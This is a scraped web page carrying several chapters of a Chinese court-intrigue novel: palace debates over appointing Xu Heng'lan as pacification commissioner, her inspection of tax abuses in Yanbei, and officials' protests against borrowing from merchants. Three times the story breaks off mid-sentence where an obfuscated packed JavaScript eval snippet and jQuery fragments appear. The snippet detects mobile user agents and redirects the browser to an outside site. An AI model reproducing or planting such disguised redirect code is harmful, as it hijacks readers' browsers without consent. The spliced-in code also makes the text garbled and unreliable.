纪重珝忙跪地,诚恳道:“今儿臣所为,唯为朝廷分忧,解父皇劳瘁。若怀私念,甘受斧钺。荐徐行,因其忠堪托国、才足安邦,臣愿以首担保。朝廷多艰,臣夜难安枕,愿效周公纳贤,只为社稷清明。此心昭昭,伏乞父皇察臣丹诚,莫因私念误国。”
“你说朕这是私念误国?”
“儿臣不敢。”
纪铭深吸一口气,又缓缓吐出来。“徐行其人,确实是有才能,年纪轻轻就能压得住辰州的场面,在御史台和那些老狐狸斗法也不落下风,让他任安抚使,确是合适的。”
“合适,又不合适。你是太子,你和朕既是君臣,也是父子。可你虽然尽了忠,却从未尽孝。”
纪重珝回道:“儿臣惭愧。”
“你看看,还是这么一副样子。”纪铭指了指他,“离了人也是这般,儿时你还和朕很亲近,现今竟生分至此!还是许比玉和余介林两位老师教得好啊。”
纪重珝此刻没有人替他出谋划策,也没有多少思索的时间,父子间的交锋只能他自己应对。
他缓缓道:“父皇说儿臣与父皇生分,可是父皇不也与儿臣生分了吗?既然父皇有话想告诫儿臣,为何不坦白直言,而偏要绕个弯子?如果说儿臣方才的自辩是儿臣故意疏远,那父皇一开始试探儿臣,又算是什么呢?”
纪铭看着他,皱褶间隐匿了一双深不见底的眼睛。纪铭垂下目光,目光落地时发出瓷器破裂的声响。
“徐行这人,朕曾经和你说过——朕不喜他的做派。你可知为何?”
“儿臣不知,还请父皇赐教。”
纪铭叹了口气,昂贵的壳子抖了抖,露出一点苍老的内里。
“林乾钧,当年朕还是藩王时,他便是朕的心腹,后来一路陪朕走到了现在。若不是前几年辞了官,恐怕会陪朕到大限将至的那一天。”
纪重珝神色微动——纪铭还是第一次提起他和林乾钧的事。
“朕和他当年的关系,就如同现在的你和徐行,情同手足。你为徐行挡刀,若是当年的朕,想必也会舍命护他。”
“可就是朕太信任他了,以至于这么多年,满朝文武,有一多半都是他林乾钧的人。若不是燕州出了事,他恐怕现在还在把持朝政。”
纪重珝看了纪铭一眼,暗暗揣摩纪铭和他说这些话的深意。
“林乾钧现在虽是辞官了,可在朝中还是一呼百应。朕不愿你之后也落入这两难的境地,更何况徐行这人,和林乾钧有七八分像,又是林乾钧一手提拔起来的,难免……罢了,朕明着告诉你吧。他查燕州军费贪腐,现今一众老臣联衔上奏,让朕是左右为难。朕今早宣他入宫觐见,已责令他一个月时间摆平此事。安抚使一差,你看着办。朕看他未必会答应。”
“实不相瞒,此事正是徐台长主动提出的。”
纪铭看了看他,似乎要把纪重珝的话揉碎了咽进肚子里。
“罢了,那朕便不多言了。”纪铭站起身,“只是安抚佐使,朕要亲自指派——你没意见吧?”
“儿臣岂敢?”
徐珩阑回府后,晚间时诏令便到了。徐珩阑接了旨,随即命府中众人收拾行李,明早便出发去燕北。
“安抚使。”暗云替徐珩阑脱衣服时说道,“还是去燕北?”
“我恐怕要走一段时间了,我走的这段时间,府中就劳烦你了。”
“侯爷不带我去吗?”
暗云的语气徐珩阑第一次听,她觉得这声音陌生,讶异地看了暗云一眼。
“路途遥远,毕竟是往北走,比在京中苦得多——总不该受苦也拉着你。”
“我竟不知道,我几时也怕起苦来了?难道我跟着侯爷,是为了享福的?”
“哎?”徐珩阑正要回头,暗云就早赌气出去了,换了黎云来。
“她这是怎么了?”徐珩阑又转过头来,疑惑道,“今日怎么气性这么大?”
黎云只掩嘴笑,不说话。
徐珩阑从镜子里看到她,心知她是误会了。
府中下人,只有暗云和江离知道她是女儿身。暗云是自小跟在徐珩阑身边的,黎云会误会倒也合情合理。徐珩阑也懒待解释,让黎云出去了。
纪重珝从宫中回来后,便遇上了在咨善堂等候的韩梓熙。纪重珝来时,韩梓熙正坐在屏风后悠哉游哉地喝茶。
“如何啊?”韩梓熙很不见外地问道,一旁站着的内侍很不满地看了他一眼。纪重珝见了,摆手示意他们都出去。夏烨却不动。
“夏总管不走,是有什么事吗?”纪重珝问道。
“殿下恕罪,老奴这就退下。”
“这老东西。”韩梓熙大笑着指夏烨的背影道,“生怕老臣和殿下商议什么,老臣就不信,徐台长来也是这般?”
纪重珝没理会他,坐到韩梓熙对面。
“这老东西未免也太不把殿下当回事。过几日寻个错,到官家面前把他赶走便是了。”
“派他来的才能寻他的错,孤自然是没理由寻的。”
纪重珝话里有话,韩梓熙笑着放下茶盏。
“老臣帮殿下演的那一出,殿下觉得如何?”
纪重珝正要问他这个,怎知韩梓熙自己提出来了。
“何必这样大费周章?”
闻言,韩梓熙大笑,捋了捋胡须,答道:“殿下有所不知,徐行这人,就好面子排场。他刚刚在官家那儿受了冷遇,转头就见殿下为了见他推了别人,自然是会死心塌地为殿下效劳了。”
纪重珝心想你难道比我还更了解她,自作
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299179|182729||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
聪明。
但纪重珝面上还是礼貌道:“比起这个,林兴怀所说的‘软硬兼施’,韩师傅为何不让孤提出质疑?”
“殿下啊,你也太心急了。”韩梓熙喝了一口茶,“殿下和官家是父子,应是比老臣更熟悉官家的性子。凡事总是原因的,林党权倾朝野也是,殿下现今的处境也是。”
纪重珝没应声,韩梓熙的意思是——纪铭现今还不愿意和林党撕破脸,把扳倒林乾钧的事交给了纪重珝。
“可是,所谓‘软硬兼施’,施多少‘软’,用多少‘硬’,这可是关乎朝廷命脉的大事,稍有不慎,便会让现在的浑水更浑。”纪重珝低着头,沉声道。
“那就是殿下的事了,老臣没那个能力和他们叫板。可徐行要是用好了,没准还真是一把利器。”
纪重珝神色一动,道:“韩师傅也觉得徐台长堪当大用?”
韩梓熙点点头,目光看向窗外的合欢树。
“徐行,徐珩阑,这人要是用好了,那就是利器,用不好,可就成了凶器啊。看看林国公就知道了,林乾钧把他看作亲生儿子,可他依然不顾情分和林乾钧叫板。殿下可要当心啊,别被这把刀反噬了。”
纪重珝听出这话另有深意,顺着他的话问道:“那徐台长在辰州的事,韩老可知道?”
“那是自然。”韩梓熙顿了一下,“徐行当年帮林乾钧干了不少脏活,也难怪他不肯说当年的事,是怕追究起来,他也要被问罪吧。”
窗外的残叶无声地飘落,给清澈的天留下几点斑驳,还带着几丝淡淡的哽咽声——风吹响落叶的声音。
“所以老臣说,殿下要当心。这种轻易倒戈的人,可是不容易有忠心的。”
徐珩阑只不过睡了不到两个时辰,便起身准备出发。徐珩阑临行前,暗云到门前送行。
“燕州比漳京冷得多,侯爷多注意身子。”
徐珩阑笑道:“知道了,死不了。”
暗云冷哼一声,不轻不重地用手指点了她几下。
“人家好心好意劝你,你还浑说,当个玩笑话,看在外面病了,肠子还不悔青了。”
徐珩阑笑应道:“消消气吧。临走了还要闹性子,这毛病几时能好?”
江离此时走过来道:“侯爷,车马已备好,可以走了。”
“我倒是没生你的气,我只是……”
暗云凑近了些,低声道:“侯爷这几日起居都在外面,当心别被人发现了。”
徐珩阑严肃下来,点点头。
“我会当心的。”
徐珩阑翻身上马,临走时不忘和暗云招手告别。
“有什么要带的?”
“侯爷真是糊涂了,燕州有什么要带的?侯爷把自己平安带回来就是了。”
暗云话没说完,众人就都笑起来。
“笑什么笑?侯爷要是有个三长两短,看我不揭了你们的皮。”
众人又笑,江离开口道:“姑娘放心,必然全须全尾地给你带回来。”
“越发放肆了。”
江离一听,便知自己说话放肆了,忙改口道:“侯爷,时候差不多了。”
徐珩阑点点头。
她先入宫领旨,再到告官院领告身。启程前,徐珩阑也看到了一直很神秘的安抚佐使。
一个熟悉的身影出现在徐珩阑眼前,她失笑,作揖后道:“原来安抚佐使是尔群兄,久仰久仰。”
廖卓然很不情愿地回礼,他自己也不清楚自己一个小小的翰林院检讨,竟然会被委任如此要职。虽然是暂时的,但无疑若他能将此次差事办妥,对自己的仕途也大有益处。
但他最不能接受的是,自己竟然是和这个他最看不顺眼的徐珩阑共事。
还是当人家的副手?
15. 徐珩阑诚心解旧恨 虞函正假意陈新谋
“原来安抚佐使是尔群兄,久仰久仰。”
廖卓然很僵硬地笑了笑,问道:“下官失礼,敢问徐台长的字?”
“珩阑,尔群兄不必客气,唤我的字便是。”
廖卓然点了点头,看来他还是很在意那天的事。那天虽然廖卓然没明着骂徐珩阑,但也含沙射影地说了几句。他其实并不是觉得愧疚。
廖卓然这人有一种很奇怪的孤傲清高性格,绝不为做过的事认错,固执得吓人。但虽然心里是这么想的,奈何自己实际上还是觉得不好意思,只是不愿意承认罢了。
此去燕北,同行的还有宫中的齐润,齐公公。纪铭虽然不信任身边的宦官,但奈何朝中的人他更信不过。派一个宫中的人、一个太子的人、一个没背景的翰林院小官,这种搭配纪铭便觉得很合适了。
廖卓然倒不一定是纪铭亲自指派的,有可能是问过许比玉后,特意从翰林院找来这么一个和任何权贵都没干系的边缘人。至于用意,可能是因为实在难找到合适的人选,纪铭又害怕这个位置被权臣操控,指派廖卓然属于是无奈之举。
说来确实可笑,满朝文武,纪铭竟找不出一个合适的人选任安抚佐使。
一行人抓紧赶路,为了防止行踪被燕北地方官打探到,路上并没有住驿站。
“那日确实是下官失礼了,还望珩阑兄海涵。”
途中,众人在路边休整,廖卓然和徐珩阑到了一边的茶棚,要了一壶茶。廖卓然突然向徐珩阑道。
徐珩阑一愣,距那日几人闹了不愉快,已经过了五六天,因此她一时没反应过来他说的是哪件事。
徐珩阑大笑道:“哈哈,尔群兄怎么这么较真?都是过去的事了,还提它作甚?说起来,沈汝清可没少当面骂我,我可从来没因此生气过啊。”
“珩阑和汝清是同窗?”廖卓然也看出来徐珩阑并非是那讲究虚礼的人。
“沈汝清竟没和你说过?”徐珩阑笑了笑,“我们何止是同窗,真要论起来,还是同一年中的进士、同一年入仕为官。”
“可现在珩阑兄是从三品的御史中丞,而他沈汝清却是谏院司谏……”廖卓然有些怅然,“真是世事难料啊。”
话说完后,廖卓然才意识到自己这话说得极不妥,但想再弥补已经晚了。
徐珩阑倒也没生气,只是笑道:“哪有什么‘世事难料’,都是各凭本事罢了。”
这话顿时让廖卓然刚刚的愧疚一扫而空,他有些生气徐珩阑的自负,问道:
“那珩阑兄是觉得自己比沈汝清更有本事了?”
徐珩阑笑了笑,转移话题道:“尔群兄是何年中的进士?”
廖卓然嘴角抽了抽,这话真是问到廖卓然的痛处了。在他这几个同师门的同龄人中,属他中进士的时候晚。
廖卓然不想回答。他虽然才学平平,心里却十分要强,不甘落人后。他又羞于承认自己要强,也正因为这种性子,他才终日郁郁寡欢,年纪轻轻就有了颓态。
徐珩阑也看出来他不愿意说,正巧她也不愿再和这个别扭的人多言。因此,两人只是吃茶,无话。
两个人一不说话,周围的声音就变得清晰起来。细听,有人议论道:
“这日子真是不叫人过了。前儿个官府才说朝廷体恤咱刚遭了旱灾,要减免税赋,大家伙儿还指望能喘口气。嘿,今儿个又变了卦,说是朝廷改了章程,税赋不但不减,还得加!”
“到底要加还是要免啊,能不能有个准话?”
“今儿一早,里正挨家挨户传,说朝廷改了税法,要按新丈量的土地算税,还不管你旱不旱灾——这不是睁眼说瞎话嘛!咱这地经了旱灾,好多都干裂得没法种了,要是按新规算税,谁拿得出来?”
“官府也太不讲理,咱几个老兄弟寻思着去跟官府说道说道,结果可好,那官差横得像恶犬,说什么如今朝廷变法革新,一切得听新令,还说咱是刁民,再纠缠就送咱去服苦役!”
“熬过了旱灾,熬不过苛税啊。”
廖卓然闻言,忙看向徐珩阑,怎知徐珩阑和他想到了一起,两人碰巧对视。
他们走时朝廷可没有什么加征赋税的新规,加税一事现今在御前连提都不能提——纪铭是坚决反对。税法改革,朝中因此可是争论不休,怎么可能在这么短的时间里就定下来了?
徐珩阑低声问道:“我们现在离燕州还有多远?”
“我们现今已在燕北路内,再有半日应该就到了燕州。”
正在钦差快马加鞭前往燕州的同时,安抚使陈安已从令州赶到了位于燕州的转运司。
陈安还没踏入官署的大门,门口就有人上前拦他。
“安抚大人,这里可是转运司,怎能这样随意进出?”
“你少拿那套来压我,主子耍威风就罢了,连奴才也蹬鼻子上脸了?快让开!我有要事要见虞漕台,误了事拿你是问!”
那人面露难色,但还是不放行,又道:“可漕台大人吩咐了,若是安抚大人来了,绝对不能让您进去。”
“都火烧屁股了,他还搞什么鬼?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299180|182729||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
陈安人高马大,一把推开小厮,风风火火地进了转运司官署。
议事堂内,转运使虞函正在案前看信,眉头紧锁,突然就听到门外响起了一个熟悉的声音。
“虞漕台,你好大的面子,我连见都不能见了?”
陈安冷笑道,走入堂内。
一见陈安,虞函正叹了口气,先责问一旁的衙役。
“你们怎么干事的?一个人你们都拦不住?”
“哼,他们可没那个胆子拦。”陈安一屁股坐到虞函正身前的椅子上,“倒是虞漕台胆子大得很啊。”
“这是转运司,可不是你撒野的地方。”虞函正眯了眯眼,“况且我胆子再怎么大,也不干陈大人的事。”
陈安瞪了他一眼,继续道:“你还有闲心和我斗嘴?钦差再有一个时辰就到了,但愿那个时候你也有底气这么说话。”
“钦差?”虞函正把手里的信朝案上一扔,“一个钦差就把你吓成这样?”
陈安不理论,眼睛看着虞函正案上的信,似乎要把那上面的字碾碎了揉进眼睛里。他站起身来问道:“你早知道朝廷派了安抚使?”
虞函正不答,只是淡淡道:“你不该来。”
“这话我就不懂了。我一有什么消息,便一刻不敢耽误,赶紧跑来告诉你。你倒好,有什么事倒先防着我。虞大人难道不明白?你我是一条绳子上的蚂蚱,我要出了事,你也逃不了!”
“你昏了头,跑到转运司来胡言乱语了。”虞函正不耐烦地皱眉,“出什么事?能出什么事?再撑几天,你我就要被调走了,到时谁还能怪到你我头上?”
陈安不相信地问道:“你真有计策?”
虞函正不应声,只是又拿起案上的信,在手上用力地晃了晃。
“京中来的。”
陈安一愣,但很快领会了虞函正的意思,笑了起来,连胡须都跟着脸乱颤。
虞函正笑道:“朝廷派的安抚使,自有朝廷里的人对付他,你我只需要做好手头的事便好,就别多问了。”
“还得是你啊。”陈安大笑,捋了捋胡须,“可你为何不见我?”
“现今还是要当心,切不可轻举妄动。谁知你这个沉不住气的,一有了消息就跑来商量——你是生怕别人不知道你心里有鬼啊。”
陈安点点头,又问道:“那钦差是什么来头?”
虞函正看了他一眼,似乎有些不满,但还是耐下性子回答道:“听说是御史台的,这几天新上任的御史中丞——把宋金扳倒的,就是他。”
16. 徐中丞初来责漕台 林参政再访谢国公
钦差来得比虞函正以为的还要晚许多。等到黄昏时,一行人马才在颤抖的残日余晖下到了转运司门前。
此刻的议事堂内。
“漕台大人,钦差到了。”
虞函正放下手中的公文,半边脸笼在余晖下。
“知道了,你且退去,叫他们备茶……”
“不必麻烦了。”徐珩阑的声音先打断了他。随后虞函正就看到一个身形修长的年轻人,身着常服,走入议事堂。
钦差竟然这么年轻,虞函正也惊了一惊。难道就是他把心狠手辣的宋金扳倒的吗?
虞函正不顾其他,先上前行礼。“卑职叩见几位上差。”
“不必多礼了。”徐珩阑坐在一旁的椅子上,“虞转运,实不相瞒,我此番来燕州,虽有千钧重任,可只有不到十天的时间。我想,虞转运也应是日理万机,因此我们干脆点,开门见山。”
虞函正心里不知徐珩阑作什么妖,眼前的情形确实是出乎意料,但也不至于他虞函正应付不来。
“卑职愚钝,不知如何‘开门’,要见何‘山’?”
廖卓然在一旁道:“今朝廷虽有统一税法,然燕北新经战火,官家圣明,已减免燕北转运司应缴税额。敢问此道旨意,在转运司究竟是如何施行的?”
虞函正一愣,这几个钦差果然是来者不善。他短暂地思索了片刻,笑答道:
“官家来了旨意,卑职自然是立刻实行,只是卑职到底还是这一路的官员,具体州县衙门是怎么实行的,这恐怕得容卑职唤知州……”
“知州知县,我们自然也要问。可我现在是在转运司衙门,问的是燕北转运使。”徐珩阑突然抬高声音,“难道说,虞转运身为一路的转运使,连税法如何实行,都从来不过问的吗?”
虞函正看了看她,又忙低下头,应道:“是卑职失职,卑职这就让人调税法的公文来。”
徐珩阑不理会,只坐在原处。
“快去把税法的公文取来。”虞函正边说还边偷瞄着徐珩阑的反应,“要快。”
“各位上差稍候片刻。”虞函正转向徐珩阑等人笑道,“几位上差舟车劳顿,想必口渴了吧——快上茶。”
徐珩阑这次并没有拦。
公人上茶时,先给最下座的廖卓然,之后是齐润,最后到了徐珩阑面前。
徐珩阑接过茶,只放在鼻前嗅了嗅,沉声道:
“我们此行的确舟车劳顿,我并不敢替齐公公和廖大人做主,既然他们并没说不喝,我也不好再阻拦。然眼下,多少黎民仍深陷水火、苦不堪言。我蒙官家钦命,身膺安抚使之职,却于官署之中,悠然品啜江南贡茶这般珍馐。此等茶品,我不能喝,更不该喝!”
说着,她将手中的茶盏重重放在几上,那声响震得虞函身子不由得一颤。
廖卓然闻言,也放下了茶——他倒确实没闻出来茶品。但齐润是见过大世面的,若徐珩阑不说,他可能就喝了。毕竟这些事都和他没什么关系,他只是个监工的。
不过既然徐珩阑这么说了,他也就把茶放下了。
“上差消消气,卑职平日里也不喝这么好的茶。这不是几位上差来了,卑职想着总不要太寒酸,便把这压箱底的好茶拿出来,给各位上差润润喉。既然上差嫌这茶贵,那卑职这就吩咐他们把剩下的都扔了——来人!”
“不必了。”徐珩阑冷声道,“不用与我等作此口舌之辩,你平时喝不喝这么好的茶,我不知道,也懒得知道,改了就是了——公文还没找到吗?”
“到了到了。”几个公人急忙跑上来,抱了几摞册子,册子里都是转运司官令的备份。
徐珩阑先接过来一本。廖卓然也欲拿,可见齐润没有要拿的意思,便也把手收回来了。
徐珩阑边翻册子边问道:“廖大人不准备看看吗?”
廖卓然一愣,见现在的徐珩阑与赶路时判若两人,也有些被镇住了,伸手拿了一本,也翻看起来。
徐珩阑只翻了几页,便找到了她要的部分,上面写道:
“燕北转运司札付:盖闻官家轸念民生,深恤疾苦,特降圣旨:燕北路全境税费,宜依各地实情减免。查栗褚县,虽未历兵燹,然遭旱灾,稼穑歉收甚重。兹据上谕,该县今年税费减半。仰知县黄钟钦遵奉行,速将此令遍谕县境,毋得迟滞。燕北转运司。”
后面是日期,这令是去年发下去的。徐珩阑冷笑一声,朝虞函正道:“虞大人看看?”
虞函正心里已猜了个大概,正站在一旁想对策,没想到徐珩阑突然叫他,他忙接过来。
他快速地扫了一眼,看后笑问道:“不知这公文,是有什么问题吗?”
“公文没问题,但是执行公文的人出了问题。”徐珩阑眼睛死盯着虞函正,向随行的官兵道,“把黄大人带上来。”
虞函正暗叫不好,但面上还是毫无波澜,十分从容地看着黄钟被带上堂来。
黄钟上来后,先唯唯诺诺地行了礼,期间撞上徐珩阑的目光,腿竟然有些发软。
“卑职叩见三位上差、漕台大人。”
徐珩阑正要开口问他,却让虞函正抢了先。
“黄大人,你这是做了什么,让几位上差如此动怒?还不快如实招来?”
徐珩阑看了虞函正一眼。
黄钟忙慌了神,但心里隐隐松了一口气,他忙交代道:“是下官手下的差役,竟随意加税,让百姓……”
“手下的差役?”徐珩阑失笑,“你怎么一会儿一个样?莫不是来寻人白相的?”
“白相”是辰州话,黄钟一愣,一时没反应过来。但虞函正瞪了他一眼,他不敢犹豫,忙道:
“下官不敢,下官不敢。是下官疏于管教,这才让手下的差役……”
“这么说,你是默许他们这么做的?”
黄钟一下子回答不上来,半晌才回道:“下官……下官毫不知情啊。”
“不知情?”徐珩阑走到他近前,“黄大人在县衙时可不是这么说的。难道说,只有那几个证人也上堂,黄大人才肯说出实情吗?”
廖卓然忙会意。
“来人,叫……”
黄钟满脸惶恐,三步并作两步疾奔上前,“扑通”一声跪倒在地,双手抱拳,高高举起,带着哭腔急切说道:
“大人且慢!且听下官一言呐!”
说罢,连连磕头,额头触地砰砰作响,“下官刚刚说的确实不是实话,下官确实知道一部分实情啊。是下官猪油蒙了心,一时糊涂,是下官糊涂啊,若大人叫那几个刁民……他们会要了下官的命,求大人开恩呐!”
廖卓然求助似的看向徐珩阑。徐珩阑也抬手示意他不必叫了。
徐珩阑又向黄钟道:“黄大人先起来,我们同朝为官,谁又比谁高贵到哪去?都是给官家办事的,不必跪了。”
“刁民?”虞函正笑了笑,“哪里有刁民?”
廖卓然解释道:“虞大人可能还不知内情,我等前来途中,遇数位农人相与议论,皆言县衙行事强横,无端加征赋税。我等闻之,遂邀其至县衙,欲向黄知县问明详情。未料,县衙此举已积民愤已久,众人闻有人愿为其作主,当即有数农人愿随我等同往。据农人所述,此加税之令,乃黄知县亲颁也。”
“竟有此事?”虞函正很惊讶,“不过黄大人口中的‘刁民’是?”
虞函正故意转移话题,徐珩阑在旁很轻蔑地冷笑一声,懒待解释。还是廖卓然继续道:
“是……乡民有些激动,有人动了手……”
虞函正刚刚的问话明显不怀好意,故意引导廖卓然承认那些人是刁民。但没想到廖卓然这么容易就被人带着走。
一旁的齐润轻声叹了口气。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299181|182729||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
虞函正也看出来廖卓然好欺负,又问道:“既然这样,那便是刁民了。上差要把刁民唤上堂来,是何用意?难道是要通过刁民威胁黄大人?”
廖卓然被问得哑口无言,只得说道:“这……”
徐珩阑终于开了口,“能把这么多的良民逼成刁民,足以见得苛税之恶,洪水猛兽亦不足喻其害。虞大人还有什么要说的?”
虞函正笑道:“卑职只是有些疑惑,也是为了防止误冤忠良啊。”
“好一番苦心。”徐珩阑点点头,“晚辈佩服。”
“看来现在情况已明了了。”徐珩阑站起身,“虞大人,栗褚县黄知县,擅增赋税,罔顾国法。本官宣他入燕北提刑司受审,暂拘数日,虞大人以为,此事可妥?”
“提刑司与我们是平级,卑职怎敢有意见?都是为了朝廷,上差这样做,卑职也赞成。”
徐珩阑不理会,反而转向廖卓然和齐润。
“官家差我等前来查探实情,原为日后燕北重建法令制定提供依据。然钦差尚未抵达燕州,便先遇酷吏擅征赋税,致使百姓怨声载道、苦不堪言。故此,凡与此案相关人等,在我等查探期间,理当严加看管。廖大人、齐公公,不知二位以为然否?”
“咱家自然是没意见的。”
廖卓然沉默地点点头。
“那好。”徐珩阑朝虞函正道,“虞大人,这几日便要冒犯了,在我等查探期间,请虞大人,来往书信,见过何人,都要和我等禀报。”
虞函正一改一开始谄媚的态度,眯起眼道:“上差,卑职没太听懂这是什么意思——上差是要派人看管卑职吗?”
“黄大人是虞大人的手下,又是在赋税这里出了问题,就算虞大人不知情,也有失察之过。更何况还不知是否还有别的隐情,虞大人自然是逃不过的。”徐珩阑又坐回去。
虞函正走到徐珩阑身前。
“擅自软禁在职官员,此等行径,不知依循哪条王法?卑职才疏学浅,竟从未听闻有此规制。上差欲派人看管卑职,只是卑职心中存疑:上差是否真有此等权限行此举措?即便如此,上差至少也该当众宣示圣旨,凡事总得合乎规矩才是吧?”
旨意并不站在徐珩阑这边,上面只是含糊其辞,命徐珩阑等人在燕北查探实情,仅此而已——齐润和廖卓然都心知肚明,徐珩阑自然也明白。
廖卓然有些替徐珩阑紧张,但很快就意识到自己这是瞎担心,徐珩阑似乎没有什么应付不了的。
“圣旨是有的,只是是密旨,没有公开的道理。而且……”徐珩阑缓缓道,“本官是御史,虞大人懂法,当然知道我有没有权限监视你。”
虞函正暗道自己遇上了个软硬不吃的麻烦角色。
“只是禀报一声,虞大人身正不怕影子斜,应是不相干的。”齐润在旁劝道。
虞函正现今也只能应下,暗自思索之后的对策。
十天前,在徐珩阑刚刚出发后的漳京,林兴怀一从宫中回来,就转道去了敬国府。
“老爷今日身上不痛快,说是来客一概不见呢。”
林兴怀到了书房门口,便被门前的小厮拦住。林兴怀觉得林乾钧应该是另有谋划,因此也没多问。
林兴怀正欲出府时,就遇上了回府的林乾锐。
一见林兴怀,林乾锐忙笑道:“立泽,你来了?”
“仲静兄,我本想见老师,奈何他老人家身子不痛快,便没见成。”
林乾锐笑了笑,比起他那权倾朝野的兄长,林乾锐的面相就要可亲许多。
林兴怀是林乾钧的学生,又因为刚好同姓不同族,林乾钧便待他更比旁人不同。林乾锐知道林兴怀此来。应该是出了事,便道:“那也不急着走,好不容易来一趟,进来坐坐。”
“还是算了。”林兴怀顿了一下,“等老师身子好了再见,也不迟。”
17.林乾锐笑谈国公策 纪重珝泣求君王心
“不迟?”林乾锐意有所指,“徐行那个小人都到燕北去了,再不想对策,还能来得及吗?”
林兴怀一愣,没想到被林乾锐说中了心声,便问道:“老师看来是嘱咐过仲静兄了。”
林乾锐轻笑道:“那是自然,不然你以为他老人家歇得住吗?”
两人走到了敬圣堂。待两人都已落座,小厮上了茶。
“徐行去燕北的事,已然成了定局,挽回不了,你也不要太过自责。”林乾锐喝了一口茶,“现在当务之急,是你尽快把你那个什么‘软硬兼施’办好了。若你真能为国库解困,官家可不会轻易动你。”
“话是这样说没错,借贾资财,纾国困局,我定会尽心尽力,这是不消说的。只是……”
林乾锐问道:“只是什么?”
林兴怀犹豫了一下,继续道:“我知道老师有他的谋划,可我到底担心现今的形势——徐行出任安抚使,可是太子提出来的。若这徐行和太子搅到一起……”
“只要燕北太太平平的,他徐行就算真是太子的人,也不打紧。”林乾锐放下茶盏,“就凭他一个徐行,可惹不起什么风浪。”
林兴怀站起身,“他徐行的确没什么可怕,可二爷别忘了,徐行现今可还是御史中丞。官家派一个御史去燕北,这不是明摆着要把燕北搅个天翻地覆吗?况且这徐行从前为老师效力,知道得可太多了。老师坐得住,我可不能就这样坐以待毙——我这就写信给虞雅怀。”说着,林兴怀便要急匆匆地要走,还是林乾锐站起身劝道:
“着什么急?你也说了,你知道兄长有谋划,既然都清楚了,那还急什么?”
林兴怀忙道:“可情况危急,我不能不替老师考虑啊。”
他并不是真心要替林乾钧考虑,而是担心唇亡齿寒,要是林乾钧出了事,他也逃不了。
“你要真心替兄长考虑,就不该胡乱行事。只要凡事都听国公的,我们自然都没事。”
林兴怀听出他话里有话,追问道:“老师有什么谋划,可否仔细说说?”
林乾锐叹了口气,道:“我的林参政啊,你怎么油盐不进呢?兄长这几日闭门养病,你还看不出来用意吗?”
林兴怀沉吟片刻,叹了口气道:“罢了,既然国公只要我把‘软硬兼施’办好,那我也不多问了。”
“正是此理。”林乾锐赞成地点点头,“给虞雅怀写信的事,国公早就想到了。林参政放心,不会让你出了事的。”
但林乾锐没有想到的是,被林乾钧等人寄予厚望的“借贾资财,纾国困局”非但没有办好,甚至都没能推行下去。
崇文殿外跪满了来谏诤的大臣,无数的朱色朝服,远远看过去,让人心神震颤。
门外当值的太监,既不敢传话,也不敢赶文官们走,只能就这么耗着。大暑的天,地砖比火炉都烫,再这么僵持下去,后果不堪设想。
崇文殿内,纪铭仍在看林兴怀递上来的奏折,还有吏部实施“借贾资财,纾国困局”的具体方略。
安静的大殿之中,只有纪铭时不时翻动纸页的声音。内侍们都屏息等着,无人知晓此刻纪铭的心情,或许下一刻就要暴怒,年轻一些的太监甚至冒出了冷汗。
“符月。”
一旁的符总管应道:“奴婢在。”
纪铭头也不抬地道;“还在吗?”
“回官家……”符月犹豫了一下,“还在。”
纪铭一扔奏折,不耐烦地深呼吸,低声骂道:“哪里养了这么些没用的穷儒!”
殿内的人“唰”的一声,跪下一片。
“罢了。”纪铭收起奏折,“你们都起来吧。和你们又有什么相干?”
就在人们以为纪铭要出去和百官对峙时,纪铭却坐了下来,继续看那几页长篇大论的方略。
“官家……”符月小心翼翼地问道,后面的连都知忙朝他摇头。
“怎么了?”
纪铭的声音里带着怒气,符月不敢再劝,只得改口道:“官家看了这么久公文,想必早口渴了吧。”
“不口渴。”纪铭眼睛仍看着奏折,“他们跪了一上午都不渴,朕也不渴!”
一听说一众文官因反对借商资盈国库闹到了崇文殿,余介林忙到东宫向纪重珝求助。
“殿下!商贾卑贱,唯利是图,岂配与朝廷平起平坐?我大嵩百代基业,先帝从未有向贩夫走卒乞贷之例。此非寻常耻辱,实乃剜国本、抽祖脊!殿下哪怕是看在师徒情分上,也要替老臣向陛下进言啊。”
说着,余介林便泣不成声,到底是上了年纪,一时没站稳,纪重珝忙扶住。
“殿下……”余介林握着纪重珝的手,“林兴怀是奸臣,竟然能提出如此大逆不道的建议,与谋反有何异?我朝枢密院、中书门下、三司,那么多重臣,那日竟然没有一个人敢站出来反驳,当真是我朝之悲哀,朝廷之耻辱。殿下,可千万不能让官家被小人蒙蔽啊。”
纪重珝一时不知该怎么回答,只得先安抚道:“余师傅,你先坐下。”
“殿下!”
